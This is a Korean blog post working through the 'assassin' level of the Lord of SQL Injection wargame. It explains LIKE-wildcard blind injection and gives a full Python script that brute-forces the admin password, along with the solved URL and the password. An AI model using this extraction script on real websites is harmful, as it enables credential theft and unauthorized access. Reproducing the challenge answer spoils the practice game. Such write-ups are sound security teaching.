WarGame/Lord of SQL Injection

[LOSI] Lord of SQL Injection Level 15 - assassin

올... 이번에는 조금 맵시 있는 몬스터를 만났다.(일부로 제목도 소문자로 썼다. 대문자는 둔해 보여서) 암살자라는 이름을 달고 온 이 몬스터를 무찌르기 위해 코드를 확인하고 공략법을 이야기해보자

<출처 : 나무위키 https://namu.wiki/w/%EC%96%B4%EC%8C%94%EC%8B%A0%20%ED%81%AC%EB%A6%AC%EB%93%9C%202?from=%EC%96%B4%EC%83%88%EC%8B%A0%20%ED%81%AC%EB%A6%AC%EB%93%9C%202>


코드 

실행되는 쿼리문은 하나이다. prob_assassin이라는 table에서 pw like '{$_GET[pw]}' 인 값을 가져와서 admin이면 success이다. 즉 pw를 통해서 admin 레코드를 가져오는 것이 assassin을 무찌르는 방법이다. 다행히도, helllo {$result [id]}가 있으니, blind sql injection을 실행하기 아주 좋은 환경이다.


해결방법

Answer Url : los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php?pw=902efd10

from requests import get
import string


if __name__=="__main__" :
    url = ### assassin url ###
    length = 1
    password = ""
    cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
    letters = string.digits+string.ascii_letters
    find_pw = False

    while(True) :
        password = "_"*length
        param1 = "?pw="+str(password)
        new_url = url+param1
        rec = get(new_url,cookies=cookie)
        if(rec.text.find("Hello ")<=120 and rec.text.find("Hello ")!=-1) :
            print("find candidate legnth : "+str(length))
            pw_list = ["_" for i in range(length)]
            for i in range(length) :
                for a in letters :
                    pw_list[i] = a
                    tmp_ps = "".join(pw_list)
                    param2 = "?pw="+tmp_ps
                    new_url = url+param2
                    rec2 = get(new_url,cookies=cookie)
                    if(rec2.text.find("Hello")<=120 and rec2.text.find("Hello")!=-1) :
                        rem = a
                        print("found "+str(i+1)+" letter : "+a)
                        find_pw = True
                        break
                pw_list[i] = rem
        if(find_pw == True) :
            print("found admin's pw : "+"".join(pw_list))
            break
        else :
            length += 1
            print("damm... keep going")
        

어려워 보이는데 의외로 단순한 코드이다. 일단 와일드카드에 대해서 알아야한다.

docs.microsoft.com/ko-kr/previous-versions/sql/sql-server-2008-r2/ms187489(v=sql.105)?redirectedfrom=MSDN

 

검색 조건의 패턴 일치

04/01/2012 읽는 데 8분 걸림 이 문서의 내용 --> 검색 조건의 패턴 일치 LIKE 키워드는 지정한 패턴과 일치하는 문자열, 날짜, 시간 값을 검색합니다. 자세한 내용은 데이터 형식(Transact-SQL)을 참조하

docs.microsoft.com

like를 사용할 때는 특정한 문자열 전체를 의미하는 와일드카드를 지정할 수 있다.

예를 들면 "%"는 모든 글자를 의미하고, "_"는 한 글자를 의미한다. 따라서? pw=%를 전달하면 다음과 같은 화면을 얻을 수 있다.

이에 따라 pw의 글자 길이를 구하려면 하나하나 늘려가면서 한문자를 의미하는 "_"를 넣으면 된다.

아래는 이를 수행하는 코드이다.

while(True) :
      password = "_"*length
      param1 = "?pw="+str(password)
      new_url = url+param1
      rec = get(new_url,cookies=cookie)
      if(rec.text.find("Hello ")<=120 and rec.text.find("Hello ")!=-1) :
          print("find candidate legnth : "+str(length))
          pw_list = ["_" for i in range(length)]

 

여기서 Hello라는 문자열을 검사를 해야 되는데, 코드에 echo "<h2> Hello가 포함되어 있어서 find의 위치를 조금 조정해 주었다. (못 찾으면 -1이니, -1는 제외한다.) 이렇게 찾은 pw의 길이는 8이다.(재미있는 건 이 문제에서는 admin과 guest의 pw길이가 같다. 무한루프를 설정한 건 혹여 admin이 발견될까 검사했던 잔재인데, 한 30쯤 길이가 같다는 걸 확신했다.)

 

길이를 찾았으면 다음은 한문자씩 넣어보며 pw를 찾을 뿐이다. 아래는 해당 루프이다.

pw_list = ["_" for i in range(length)]
for i in range(length) :
    for a in letters :
        pw_list[i] = a
        tmp_ps = "".join(pw_list)
        param2 = "?pw="+tmp_ps
        new_url = url+param2
        rec2 = get(new_url,cookies=cookie)
        if(rec2.text.find("Hello")<=120 and rec2.text.find("Hello")!=-1) :
            rem = a
            print("found "+str(i+1)+" letter : "+a)
            find_pw = True
            break
    pw_list[i] = rem

8칸짜리 "_"로 이루어진 pw_list를 생성했고, 한 문자씩 찾으면 넣어 두는 방식을 선택했다.(정말 재미있는 건 pw의 앞 일부 글자는 admin과 guest가 같다는 점이다. 그래서 이번에도 admin이 아닌 Hello를 검색해서 끝까지 못 찾은 것으로 판단되면 rem을 넣어주었다.) 출력 결과는 다음과 같다.

damm... keep going
damm... keep going
damm... keep going
damm... keep going
damm... keep going
damm... keep going
damm... keep going
find candidate legnth : 8
found 1 letter : 9
found 2 letter : 0
found 3 letter : 2
found 4 letter : e
found 5 letter : f
found 6 letter : d
found 7 letter : 1
found 8 letter : 0
found admin's pw : 902efd10

다행히도 중복된 문자열 이후에는 admin레코드가 quest보다 먼저 검색되었다. 만약 여기서 guest가 출력되었다면, admin이 나오는 문자열이 검색될 때까지 continue 했으면 된다.

 

축하한다. 이렇게 assassin을 해결했다. 


슬슬 SQL Injectino실력이 향상되는 것이 느껴지는가? 그렇다면 다행이다. 아닌 사람도 천천히 가면 언젠가 SQL Injectinon에 정수에 도달할 수 있을 것이다. 그럼 필자는 다음 관문에서 여러분들을 기다리겠다.